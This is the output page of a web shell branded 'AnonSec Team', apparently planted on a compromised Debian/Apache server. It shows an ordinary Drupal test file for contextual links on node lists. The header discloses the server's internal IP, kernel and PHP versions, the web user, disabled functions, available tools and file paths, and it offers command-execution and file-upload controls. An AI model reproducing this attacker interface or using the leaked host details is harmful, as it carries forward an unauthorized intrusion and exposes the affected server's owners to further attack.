AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.223
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ilpnowa/../baltic/web/modules/php/../contextual/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ilpnowa/../baltic/web/modules/php/../contextual/contextual.test
<?php

/**
 * @file
 * Tests for contextual.module.
 */

/**
 * Tests accessible links after inaccessible links on dynamic context.
 */
class ContextualDynamicContextTestCase extends DrupalWebTestCase {
  protected $profile = 'testing';

  public static function getInfo() {
    return array(
      'name' => 'Contextual links on node lists',
      'description' => 'Tests if contextual links are showing on the front page depending on permissions.',
      'group' => 'Contextual',
    );
  }

  function setUp() {
    parent::setUp(array('contextual', 'node'));
    $this->drupalCreateContentType(array('type' => 'page', 'name' => 'Basic page'));
    $this->drupalCreateContentType(array('type' => 'article', 'name' => 'Article'));
    $web_user = $this->drupalCreateUser(array('access content', 'access contextual links', 'edit any article content'));
    $this->drupalLogin($web_user);
  }

  /**
   * Tests contextual links on node lists with different permissions.
   */
  function testNodeLinks() {
    // Create three nodes in the following order:
    // - An article, which should be user-editable.
    // - A page, which should not be user-editable.
    // - A second article, which should also be user-editable.
    $node1 = $this->drupalCreateNode(array('type' => 'article', 'promote' => 1));
    $node2 = $this->drupalCreateNode(array('type' => 'page', 'promote' => 1));
    $node3 = $this->drupalCreateNode(array('type' => 'article', 'promote' => 1));

    // Now, on the front page, all article nodes should have contextual edit
    // links. The page node in between should not.
    $this->drupalGet('node');
    $this->assertRaw('node/' . $node1->nid . '/edit', 'Edit link for oldest article node showing.');
    $this->assertNoRaw('node/' . $node2->nid . '/edit', 'No edit link for page nodes.');
    $this->assertRaw('node/' . $node3->nid . '/edit', 'Edit link for most recent article node showing.');
  }
}

AnonSec - 2021